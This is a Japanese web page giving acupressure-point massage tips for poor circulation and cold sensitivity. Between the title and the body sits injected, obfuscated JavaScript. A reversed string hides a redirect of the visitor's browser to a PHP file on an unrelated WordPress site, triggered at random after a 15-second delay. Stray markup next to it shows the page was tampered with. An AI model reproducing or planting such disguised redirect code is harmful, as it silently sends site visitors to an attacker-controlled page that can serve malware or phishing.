冷え性改善に効くツボ

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}top”>冷え性改善のためのツボ押しマッサージ

ここでは、冷え性改善に効果的なツボ押しマッサージをご紹介します。
特に自分一人でも押せるツボをご紹介していますので、是非試してみて下さい。

お風呂に入りながら・お風呂上りが効果的!

冷え性改善に効果がある入浴方法」でご紹介している半身浴とあわせて、
お風呂に入りながら、あるいはお風呂上りにツボ押しマッサージをすると、
すでに血行が良くなっている状態ですのでより効果的です。

三陰交(さんいんこう)

女性にとって一番大切とも言われているツボです。
冷え性だけではなく、婦人科系の病気(生理不順・更年期障害等)にも
効果があるツボと言われています。

足の内くるぶしの一番高い部分から、指4本分上にあります。
すねの骨のすぐ後ろにあり、押すと軽く痛みを感じる部分です。

三陰交

左右の親指を重ねて、息を吐きながら10秒押し、
息を吸いながらゆっくり離す、という押し方で数回繰り返して下さい。

八風(はっぷう)

自律神経を整え、血行を良くするツボです。

足の各指の付け根の間にあります。

八風

親指と人差し指でつまむように少し強めに押し、
指先に向かって引き抜くように離します。
これを1か所につき10回程度繰り返してください。

湧泉(ゆうせん)

体の冷え、血行促進、むくみなどを改善するツボです。

足裏の土踏まずの少し上、足の指を曲げると少しくぼむ部分です。

湧泉

左右の親指を重ねて、息を吐きながらしっかり強く3秒押し、
息を吸いながらゆっくり離す、という押し方で数回繰り返して下さい。